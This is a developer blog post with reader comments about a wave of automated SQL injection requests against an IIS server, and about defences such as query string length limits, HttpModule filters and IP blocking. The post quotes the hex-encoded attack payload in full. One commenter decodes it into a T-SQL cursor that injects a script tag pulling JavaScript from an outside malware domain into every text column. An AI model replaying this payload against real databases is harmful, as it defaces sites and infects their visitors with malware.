Markdown Monster
Recent SQL Injection Attacks against Server
For the last couple of days I've noticed that my server's been inundated with a huge number of unwanted requests. The requests are firing what looks like SQL injection code against the server with a huge query string that tries to execute code on the server. Requests look something like this:
ShowMsg.wwt MsgId=2DD0S8MI5';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686
172283430303029204445434C415245205461626C655F437572736F7220435552534
F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D2073
79736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69
643D622E696420616E6420612E78747970653D27752720616E642028622E78747970
653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206
F7220622E78747970653D31363729204F50454E205461626C655F437572736F722046
45544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040
542C4043205748494C4528404046455443485F5354415455533D302920424547494E20
657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3
D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D
22687474703A2F2F73646F2E313030306D672E636E2F63737273732F772E6A7322
3E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F7
4206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22
687474703A2F2F73646F2E313030306D672E636E2F63737273732F772E6A73223E
3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D2020
5461626C655F437572736F7220494E544F2040542C404320454E4420434C4F534520546
1626C655F437572736F72204445414C4C4F43415445205461626C655F4
37572736F72%20AS%20CHAR(4000));EXEC(@S);
The attack is broad but the content is definitely gained from some previous spidering as this attack is using proper query string values and is hitting a wide swath of URLs on my site. It's hitting ASP.NET applications as well as some of my older West Wind Web Connection applications which is where I noticed this problem first.
Although I'm not terribly worried about these attacks actually getting into a database, it does end up hitting applications and so wasting CPU cycles and returning bandwidth that is effectively wasted which is annoying at least.
It also appears that these SPAM requests aren't absolutely slamming servers at least not on my end with requests using typical robot intervals with no more than a few requests every few seconds. It doesn't qualify (yet?) as a DOS attack.
Apparently I'm not the only one getting slammed. A number of other developers have been twittering all day about large swells in logs files and sluggish performance of their sites as well so this is fairly wide spread.
IIS 7 includes some request filtering tools which correspond roughly to what used to be the separate URLScan utility. The above would be easy to filter based on the fixed content, but unfortunately the <requestFiltering> feature of IIS 7 in ApplicationHost.config (in \windows\system32\inetsvr\config) does not allow for URL string filtering.
What I did however is count on the size of the above being rather large and setting up some query string length limits with the following setting in applicationhost.config:
<configuration>
<system.webServer>
<security>
<requestFiltering>
<requestLimits maxQueryString="1024">
</requestLimits>
</requestFiltering>
</security>
</system.webServer>
</configuration>
which filters the query string length at 1k. This is probably a good idea anyway, unless of course you have applications that generate extraordinarily long query strings.
With this in place the caller receives a 404:
This is obviously not a very solid solution - as soon as a smaller query string is used this approach no longer works, but for now this works to keep these request from reaching any application code and waste CPU cycles.
There are a few other ways that you can filter such as not allowing encoded text (kinda risky if you have many apps on your server) and not allowing upper ASCII characters.
If you're using IIS 6 or earlier you can probably achieve something similar using UrlScan on which the IIS 7 functionality is based in concept.
It's really disheartening to see this sort of waste of energy - on both ends for those perpetrating these attacks as well as the hassle of having to prevent it or at least fend it off. We live in shitty times when this is somebody's way to amuse themselves.
Other Posts you might also like
- Adding minimal OWIN Identity Authentication to an Existing ASP.NET MVC Application
- Resolving Paths To Server Relative Paths in .NET Code
- Map Physical Paths with an HttpContext.MapPath() Extension Method in ASP.NET
- Back to Basics: Rewriting a URL in ASP.NET Core
- Getting the Client IP Address in ASP.NET Core
The Voices of Reason
# re: Recent SQL Injection Attacks against Server
# re: Recent SQL Injection Attacks against Server
It all reminds me of http://static.flickr.com/40/98899692_c772c5cbdd.jpg (Far Side cartoon).
# re: Recent SQL Injection Attacks against Server
I handled it little differently, i added HttpModule that checks QueryString for common value in attacker requests ';' and if its there it returns an "401 Access Denied" response to the attacker.
I could do that cause i don't use that character in my query strings so its safe.
Also not a long term solution but a quick-fix that actually helped.
IP filtering was out of the case, cause the attacker-zombies addresses kept changing.
anyway this is a major waste of bandwidth and cpu-power i hope they will get caught and serve a long-term sentence without internet connection in the prison cell :)
# re: Recent SQL Injection Attacks against Server
http://www.bloombit.com/Articles/2008/05/ASCII-Encoded-Binary-String-Automated-SQL-Injection.aspx
This article explains how the attack vector works, how to find affected records in a compromised DB, and how to mass-fix the affected records.
http://aspadvice.com/blogs/programming_shorts/archive/2008/06/27/Asprox-Recovery.aspx
# re: Recent SQL Injection Attacks against Server
It's especially pointless against that server, since it's not even running IIS/MSSQL and the .htaccess bounces the requests to WordPress' 404 page sans injection string. Unfortunately though, tt does hammer the CPU to generate that fully templated WordPress page for every 404.
Very annoying. I'm glad I switched hosts last month. My old one would have never handled the added load.
# re: Recent SQL Injection Attacks against Server
Even had people try to use Contact Page as means to spam people.
I strongly suggest getting something like Fortinet FortiGate, it catches most of stuff like this.
Also do URL request checks on length and other odd ball stuff that would be illegal for our site.
In both cases the connection is just dropped. I see no reason to tell the person or computer on the other end what is going on.
If these people would spend their time doing productive things instead of this crap they would be rich and we would be less stressed.
# re: Recent SQL Injection Attacks against Server
This actually effected a LOT of major websites a few months ago...
your current 'flavor' looks like it has been fairly ineffective...google-search for "sdo.1000mg.cn" will show only a few effected sites (~500)
last i saw it was coming at us from at least a dozen different ips that sit in 3-4 different countries....
anyone wanna guess which countries?
# re: Recent SQL Injection Attacks against Server
(...i am just kidding)
# re: Recent SQL Injection Attacks against Server
# re: Recent SQL Injection Attacks against Server
The attacker will only get an empty page, no error code. But for me that is sufficient to reduce traffic.
protected void Application_BeginRequest(object sender, EventArgs e) { HttpContext context = HttpContext.Current; if (context != null) { string queryString = context.Request.ServerVariables["QUERY_STRING"]; if (string.IsNullOrEmpty(queryString) == false) { if (queryString.Length > 500) this.CompleteRequest(); } } }
# re: Recent SQL Injection Attacks against Server
# re: Recent SQL Injection Attacks against Server
In IIS 7 this is definitely possible if done at the root site and propagated down. But for the query string length IIS's applicationhost.config will do the trick without any code - more efficient and easier to maintain.
# re: Recent SQL Injection Attacks against Server
# re: Recent SQL Injection Attacks against Server
The nice thing about catching these issues at the IIS level is that you don't have to waste ASP.NET process resources as well to handle them, but I imagine that a tool like UrlScan does require more CPU utilization.
In any case, should some attempts pass those rules, Dan Wahlin’s article http://blogs.iis.net/wadeh/archive/2008/06/24/urlscan-v3-0-beta-release.aspx suggests setting up .NET HttpModules in your request processing pipeline as well. Some coding approaches can be found at http://forums.asp.net/t/1254125.aspx.
# re: Recent SQL Injection Attacks against Server
I'm still very wary to have .NET modules that look at all inbound content and so these higher level tools are defnitely preferrable.
# re: Recent SQL Injection Attacks against Server
# re: Recent SQL Injection Attacks against Server
I have also joined the club :-) Plenty of errors in my eventViewer's application log.
I have blocked them on all: IP blocking, querystring length in web.config and on detecting the words 'exec' or 'declare'. I have decoded their string, it says the following:
DECLARE @T varchar(255),@C varchar(4000)
DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=['+@C+']+''"></title><script src="http://www3.800mg.cn/csrss/w.js"></script><!--'' where '+@C+' not like ''%"></title><script src="http://www3.800mg.cn/csrss/w.js"></script><!--''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor As you can see, they try to make a useless table and apparently want the user to visit a website. When checking the website .js file, it leads you to a japanese website http://count41.51yes.com/, that tries to infect your PC with a virus, using document.write(<iframe>..etc).. the classical one..
Best Regards,
Jan
# re: Recent SQL Injection Attacks against Server
# re: Recent SQL Injection Attacks against Server
Don't kid yourself. This is being done by professionals who are selling data and organizing attacks for blackmail. The era of amateur hacking is largely over.
# re: Recent SQL Injection Attacks against Server
I've found that these emanate primarily from a few locations, and by simply putting those few IP addresses into my banned ip filter, I've seen the attacks drop to zero.